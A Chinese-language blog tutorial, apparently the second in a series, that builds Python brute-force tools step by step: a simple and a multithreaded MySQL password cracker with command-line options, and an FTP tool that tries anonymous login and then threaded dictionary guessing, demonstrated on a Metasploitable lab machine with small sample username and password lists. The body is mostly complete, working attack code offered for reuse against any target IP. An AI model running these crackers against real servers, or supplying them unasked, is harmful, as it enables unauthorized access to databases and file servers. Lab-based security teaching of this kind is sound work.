上一篇讲到了如何用Python开发字典,而当我们手里有了字典

就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写

接下来我就要一步一步来写爆破工具!

爆破MySQL:

想要爆破MySQL目标至少要允许远程连接

我这里没有开启远程连接,只是爆破本地的MySQL

实际上,如果掌握了如何爆破本地MySQL,那么想要远程爆破MySQL也是很轻松的

最基本的实现:

# -*-coding:utf-8 -*-
import pymysql mysql_username = ('root', 'test', 'admin', 'user')
mysql_password = ('', '', 'test', 'root', 'admin', 'xuyiqing', 'user') success = False
host = "127.0.0.1"
port = 3306 for username in mysql_username:
for password in mysql_password:
try:
db = pymysql.connect(host, username, password)
success = True
if success:
print "用户名:" + username + " 密码:" + password + " 破解成功"
except Exception, e:
print "用户名:" + username + " 密码:" + password + " 破解失败"
pass

固定好哪些用户名和哪些密码,以及爆破的IP和端口,直接执行即可

进阶的MySQL爆破脚本:写的很完整,支持多线程

# -*-coding:utf-8 -*-
"""
MySQL爆破脚本
用法:
python MysqlCrack2.py -H [目标IP] --u [用户字典] --p [密码字典] -P [端口]
"""
import re
import socket
import optparse
import threading try:
import pymysql
except ImportError:
print "[!] You need to install pymysql module!"
print "[!] Usage:pip install pymysql"
exit() result_user = None
result_pass = None
threads = [] def main():
"""
处理输入参数
:return:None
"""
print "Welcome to MysqlCrack2"
print "Author: Xuyiqing Version:1.0"
parse = optparse.OptionParser(
'python %prog -H <target host> --u <users dictionary> --p <password dictionary> -P <port>')
parse.add_option('-H', dest="target_host", type="string", help='specify the host')
parse.add_option('--u', dest='user_dic', type='string', help='specify the dictionary for user')
parse.add_option('--p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
parse.add_option('-P', dest='port', type='int', help='specify the port')
(options, args) = parse.parse_args()
target_host = options.target_host
user_dic = options.user_dic
pwd_dic = options.pwd_dic
port = options.port
if target_host is not None and re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', target_host):
mysql_brute(target_host, user_dic, pwd_dic, port)
else:
print "[!] Unknown IP\n"
exit() def mysql_brute(host, user_dic, pwd_dic, port):
"""
MySQL暴力破解
:param host: 主机
:param user_dic: 用户字典
:param pwd_dic: 密码字典
:param port: 端口
:return: None
"""
print "[*] Target:" + host
print "[*] Start cracking"
userlist = None
pwdlist = None
try:
socket.gethostbyname(host)
except Exception:
print '[*] Cannot connect to %s' % host
exit()
try:
userlist = [i.strip('\n') for i in open(user_dic, 'r').readlines()]
pwdlist = [j.strip('\n') for j in open(pwd_dic, 'r').readlines()]
print "[*] Number of users:" + str(len(userlist))
print "[*] Number of passwords:" + str(len(pwdlist))
except Exception:
print "[!] The path of the dictionary file is incorrect"
exit()
global threads
for user in userlist:
for pwd in pwdlist:
t = threading.Thread(target=mysql_login, args=(host, user, pwd, port))
t.start()
threads.append(t) def mysql_login(host, username, password, port):
"""
MySQL连接
:param host:主机
:param username:用户名
:param password: 密码
:param port: 端口
:return: None
"""
try:
db = pymysql.Connect(host=host, port=port, user=username, passwd=password)
print "[+] Success! User:" + username + " Password:" + password + "\n"
global result_user, result_pass
result_user = username
result_pass = password
db.close()
exit()
except Exception:
print "[-] Fail! User:" + username + " Password:" + password + "\n" if __name__ == '__main__':
main()
for thread in threads:
thread.join()
if result_user is not None and result_pass is not None:
print "[+] Result: %s - %s" % (result_user, result_pass)
if result_user is None and result_pass is None:
print "[+] Crack Fail"

FTP破解工具开发:

实际去安装一些FTP软件比较困难,我这里就用Metasploitable Linux

启动后默认开启FTP服务,我这里的IP是192.168.232.129

Metaploitable Linux的FTP可以匿名登陆,并且已知一个账号密码为:msfadmin-msfadmin

# -*-coding:utf-8 -*-
import optparse
import ftplib
import threading
import socket def anony_login(host):
"""
FTP匿名登陆
:param host:主机
:return: None
"""
try:
ftp = ftplib.FTP(host)
ftp.connect(host, 21, timeout=10)
ftp.login('anonymous', 'test@qq.com')
ftp.retrlines('LIST')
ftp.quit()
print "\n[*]" + str(host) + " FTP Anonymous Login Success"
except Exception:
print "\n[-]" + str(host) + " FTP Anonymous Login Fail" def ftp_login(host, username, password):
"""
尝试用户密码登陆FTP
:param host:主机
:param username:用户名
:param password:密码
:return:None
"""
try:
print "[-] Trying: " + username + "-" + password + "\n"
ftp = ftplib.FTP(host)
ftp.connect(host, 21, timeout=10)
ftp.login(username, password)
ftp.retrlines("LIST")
ftp.quit()
print "Success! " + username + " - " + password
except ftplib.all_errors:
pass def brute_force(host, users_file, pwds_file):
"""
暴力破解
:param host: 主机
:param users_file:用户字典
:param pwds_file: 密码字典
:return: None
"""
users_f = open(users_file, 'r')
pwds_f = open(pwds_file, 'r')
for user in users_f.readlines():
pwds_f.seek(0)
for password in pwds_f.readlines():
username = user.strip('\n')
password = password.strip('\n')
t = threading.Thread(target=ftp_login, args=(host, username, password))
t.start() def main():
"""
主函数,处理输入参数
:return:None
"""
parser = optparse.OptionParser('usage%prog -H <target host> -u <users dictionary> -p <password dictionary>')
parser.add_option('-H', dest='target_host', type='string', help='specify the host')
parser.add_option('-u', dest='user_dic', type='string', help='specify the dictionary for user')
parser.add_option('-p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
(options, args) = parser.parse_args()
host = options.target_host
user_dic = options.user_dic
pwd_dic = options.pwd_dic
try:
socket.gethostbyname(host)
except Exception:
print '[*] Cannot Resolve %s Unknown host' % host
exit()
anony_login(host)
brute_force(host, user_dic, pwd_dic) if __name__ == '__main__':
main()

使用的话,需要两个字典:用户字典和密码字典,我随便加入一些东西

username.txt

root
user
admin
msfadmin
manager

password.txt

pwd
password
userpass
msfadmin
manager
123456

实际使用:-H 输入IP -u 用户名字典 -p 密码字典

结果:上边已经找到匿名登陆,还有下图的msfadmin,说明破解成功了

Python开发爆破工具的更多相关文章

  1. Python开发爆破字典

    这里只是分享一下Python如何生成爆破字典 关于爆破工具编写我会在下一篇提到 其实有了爆破字典的话,直接使用Burp,Hydra等一些工具就可以做爆破了! Burp的使用在我以前的博客中有写过,至于 ...

  2. Python开发GUI工具介绍,实战:将图片转化为素描画!【华为云技术分享】

    版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/devcloud/article/detai ...

  3. Python开发GUI工具介绍,实战:将图片转化为素描画!

    欢迎添加华为云小助手微信(微信号:HWCloud002 或 HWCloud003),输入关键字"加群",加入华为云线上技术讨论群:输入关键字"最新活动",获取华 ...

  4. pipenv 方便的python 开发工作流工具

    pipenv 将 composer.bundler.npm.yarn.cargo 等比较方便的包管理工具添加到了python 语言中,可以 帮助我们自动的管理virtualenv ,同时可以方便的从p ...

  5. python 后台爆破工具(多线程)

    非阻塞 q.put(item) 写入队列,timeout等待时间 q.put_nowait(item) 相当q.put(item, False) threads多线程     首先导入threadin ...

  6. python 后台爆破工具

    sys:使用sys模块获得脚本的参数 queue模块,创建一个“队列”对象 time 模块     Python time time() 返回当前时间的时间戳(1970纪元后经过的浮点秒数). fin ...

  7. Python开发专业工具推荐

    PyCharm,jetbrains公司出品,必是精品!! 版本:2016.3.1 下载:https://www.jetbrains.com/pycharm/download/#section=wind ...

  8. Python开发GUI实战:图片转换素描画工具!

    奋斗没有终点 好好学习72变,因为将来 没有人能替你阻挡81难 . 生如蝼蚁,当有鸿鹄之志: 命如纸薄,应有不屈之心 . ​ 今天被这句话触动了,所以开篇分享给大家.鸡汤有毒,但有时大家却靠它激励自己 ...

  9. 路飞学城-Python开发-第一章

    # 基础需求: # 让用户输入用户名密码 # 认证成功后显示欢迎信息 # 输错三次后退出程序 username = 'pandaboy' password = ' def Login(username ...

随机推荐

  1. U-Mail企业邮箱如何导入授权文件

    首先,由于U-Mail有Linux版本与Windows版本的区别,并且都非常简单,所以就有了下面的步骤: Windows版本  <点击快速跳转> Linux版本 <点击快速跳转> ...

  2. 序列化还是JSON存储对象?

    2018-11-10 先对比一下存诸空间大小:https://pan.baidu.com/s/1I3K8ARfl4x8pC__B-T_vbA 输出的结果是 json: 序列化: 序列化Map: 用JS ...

  3. 5-1 unittest框架使用

    unittest是python的一个单元测试框架,内置的,不需要pip install  什么什么的.直接在py文件里面调用 import unittest. 他这个框架是怎么回事呢,他可以对数据初始 ...

  4. ABP 依赖注入

    1.ABP自动注入 //IapplicationService注入方式暴露接 //ITransientDependency 不会暴露接口 ITransientDependency和ISingleton ...

  5. 创建JavaScript函数的几种方式

    window.onload = function() { // console.log('ok'); //正规的创建函数 function test(abc, d) { return abc(d); ...

  6. H5采集pcm流转换采样率实时发送到服务端

    function startTalk(ws2, button) { var arrBuffer = new ArrayBuffer(320 * 2); var sendBuffer = new Dat ...

  7. vs2015 行数统计

    ctrol+shift+f  正則查找 b*[^:b#/]+.$

  8. tensorflow 源码编译

    https://blog.csdn.net/xsfl1234/article/details/67669707 https://blog.csdn.net/guxi123/article/detail ...

  9. js 中 (function($){...})(jQuery) 含义

    js中定义函数常用写法是 function name(arg){ //arg则是匿名函数的参数. //... } 调用函数时的写法是: name(arg); ===================== ...

  10. 高速上手C++11 14 笔记2

    lambda表达式和std function bind 两者配合构成了函数新的使用方法. 智能指针 sharedptr, uniqueptr, weak_ptr auto pointer = std: ...